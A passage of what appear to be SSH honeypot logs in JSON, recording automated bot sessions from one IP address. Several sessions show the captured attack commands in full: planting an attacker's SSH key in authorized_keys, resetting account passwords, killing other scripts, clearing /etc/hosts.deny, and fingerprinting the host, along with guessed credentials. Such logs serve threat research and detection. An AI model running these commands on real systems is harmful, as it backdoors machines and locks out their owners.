.ssh","started_at":"2026-08-27T04:23:23.131226+00:00","ended_at":"2026-08-27T04:23:24.387253+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2077,"events":[{"seq":1,"at":"2026-08-27T04:23:03.270203+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:23:03.601767+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:23:07.731572+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:23:08.549768+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:23:08.872889+00:00","kind":"input","latency_ms":null,"data":"echo -e \"gmod\\nWNolkRc0s9bW\\nWNolkRc0s9bW\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:23:09.195900+00:00","kind":"input","latency_ms":null,"data":"echo \"gmod\\nWNolkRc0s9bW\\nWNolkRc0s9bW\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:23:09.519446+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:23:10.121994+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:23:10.445052+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:23:11.584643+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:23:11.910118+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:23:13.008997+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:23:13.335457+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:23:14.085944+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:23:14.411834+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:23:14.820320+00:00","kind":"output","latency_ms":null,"data":" 04:23:14 up 7 days, 1:13, 0 user, load average: 0.31, 0.22, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:23:15.142309+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:23:15.688429+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:23:16.012698+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:23:16.751138+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:23:17.076724+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:23:17.858312+00:00","kind":"output","latency_ms":null,"data":"top - 04:23:17 up 7 days, 1:13, 0 user, load average: 0.31, 0.22, 0.29\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:23:18.181227+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:23:18.970878+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:23:19.296149+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:23:19.960991+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:23:20.287060+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:23:21.091142+00:00","kind":"output","latency_ms":null,"data":"gmodserver"},{"seq":29,"at":"2026-08-27T04:23:21.415165+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:23:22.809144+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:23:23.131960+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:23:24.286955+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"gmodserver","password":"gmod","method":"password","accepted":true,"tier":"other"}]} {"id":"40789549-9c5b-4f7d-a1cf-aa9ac563e2b9","name":"rapid-umber-pelican","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":51192,"username":"gmodserver","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:23:06.497769+00:00","ended_at":"2026-08-27T04:23:07.637012+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gmodserver","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"726188f0-7f62-4480-bfa0-da3833367fc8","name":"lonesome-dewy-moose","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":40518,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:23:04.346417+00:00","ended_at":"2026-08-27T04:23:05.844087+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"221d8468-d0a0-4f2d-8126-e9513be867c6","name":"kindly-forlorn-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":59978,"username":"code","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":319,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:21:16.854318+00:00","ended_at":"2026-08-27T04:21:17.950029+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2066,"events":[{"seq":1,"at":"2026-08-27T04:21:04.261642+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:21:04.595728+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:21:07.835723+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:21:07.837777+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:21:08.157292+00:00","kind":"input","latency_ms":null,"data":"echo -e \"code123\\n2DtosBTpp5VS\\n2DtosBTpp5VS\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:21:08.477593+00:00","kind":"input","latency_ms":null,"data":"echo \"code123\\n2DtosBTpp5VS\\n2DtosBTpp5VS\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:21:08.796278+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:21:08.797162+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:21:09.116072+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:21:09.743905+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:21:10.065355+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:21:10.660341+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:21:10.982160+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:21:10.982786+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:21:11.302128+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:21:11.302602+00:00","kind":"output","latency_ms":null,"data":" 04:21:11 up 7 days, 1:11, 0 user, load average: 0.23, 0.28, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:21:11.622360+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:21:11.623109+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:21:11.945928+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:21:11.947045+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:21:12.262399+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:21:12.636497+00:00","kind":"output","latency_ms":null,"data":"top - 04:21:12 up 7 days, 1:11, 0 user, load average: 0.23, 0.28, 0.18\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:21:12.953492+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:21:13.482714+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:21:13.803263+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:21:14.153795+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:21:14.474139+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:21:15.013190+00:00","kind":"output","latency_ms":null,"data":"code"},{"seq":29,"at":"2026-08-27T04:21:15.331825+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:21:16.536229+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:21:16.855580+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:21:17.851584+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"code","password":"code123","method":"password","accepted":true,"tier":"other"}]} {"id":"0cf353ab-e9f2-4311-a755-14aaf190dbe5","name":"sandy-civil-fennec","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":49196,"username":"code","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:21:07.058032+00:00","ended_at":"2026-08-27T04:21:07.743204+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"code","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f0934a6b-d8f6-4322-8370-ebf9636b66da","name":"murky-craggy-wagtail","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":59986,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:21:05.340853+00:00","ended_at":"2026-08-27T04:21:06.398212+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a1bab6d0-ccb3-46ea-bc7e-612c4bdb60c7","name":"somber-balmy-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":33976,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":309,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:19:17.948751+00:00","ended_at":"2026-08-27T04:19:18.567224+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2106,"events":[{"seq":1,"at":"2026-08-27T04:19:07.149149+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:19:07.455955+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:19:11.573703+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:19:11.574090+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:19:11.883814+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bEq9knYAuw0f\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:19:12.189890+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:19:12.499416+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:19:12.499930+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:19:12.807836+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:19:13.310750+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:19:13.622176+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:19:14.215142+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:19:14.525999+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:19:14.526505+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:19:14.836534+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:19:14.837062+00:00","kind":"output","latency_ms":null,"data":" 04:19:14 up 7 days, 1:09, 0 user, load average: 0.09, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:19:15.148267+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:19:15.148931+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:19:15.459766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:19:15.460121+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:19:15.767344+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:19:15.768077+00:00","kind":"output","latency_ms":null,"data":"top - 04:19:15 up 7 days, 1:09, 0 user, load average: 0.09, 0.08, 0.07\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:19:16.077383+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:19:16.077926+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:19:16.386743+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:19:16.387297+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:19:16.700404+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:19:16.700815+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T04:19:17.008199+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:19:17.639388+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:19:17.949524+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:19:18.473319+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Cc112233","method":"password","accepted":true,"tier":"other"}]} {"id":"402624da-f9dc-4241-9671-d596742788ab","name":"arctic-loyal-oriole","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":33998,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:19:10.187786+00:00","ended_at":"2026-08-27T04:19:11.482471+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2ba7d529-1c87-4821-8104-7d980c1946ef","name":"shifting-thawing-petrel","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":33990,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:19:08.206600+00:00","ended_at":"2026-08-27T04:19:09.559198+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d207bb49-94c5-406c-a2ea-1fe6e42bf6fd","name":"idle-snowy-jackdaw","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":54904,"username":"ray","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":314,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:17:19.072824+00:00","ended_at":"2026-08-27T04:17:19.676348+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2035,"events":[{"seq":1,"at":"2026-08-27T04:17:07.696821+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:17:08.010611+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:17:12.086898+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:17:12.087385+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:17:12.404573+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ray\\njuvds7FZovI9\\njuvds7FZovI9\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:17:12.716787+00:00","kind":"input","latency_ms":null,"data":"echo \"ray\\njuvds7FZovI9\\njuvds7FZovI9\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:17:13.032759+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:17:13.033278+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:17:13.345215+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:17:14.248387+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:17:14.564444+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:17:15.342218+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:17:15.659468+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:17:15.659948+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T04:17:15.975079+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:17:15.975542+00:00","kind":"output","latency_ms":null,"data":" 04:17:15 up 7 days, 1:07, 0 user, load average: 0.09, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:17:16.289642+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:17:16.290129+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:17:16.603654+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:17:16.604415+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:17:16.917732+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:17:16.918354+00:00","kind":"output","latency_ms":null,"data":"top - 04:17:16 up 7 days, 1:07, 0 user, load average: 0.09, 0.08, 0.07\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:17:17.234535+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:17:17.235098+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:17:17.549815+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:17:17.550622+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:17:17.863689+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:17:17.864046+00:00","kind":"output","latency_ms":null,"data":"ray"},{"seq":29,"at":"2026-08-27T04:17:18.178774+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:17:18.755336+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:17:19.073291+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:17:19.581451+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ray","password":"ray","method":"password","accepted":true,"tier":"other"}]} 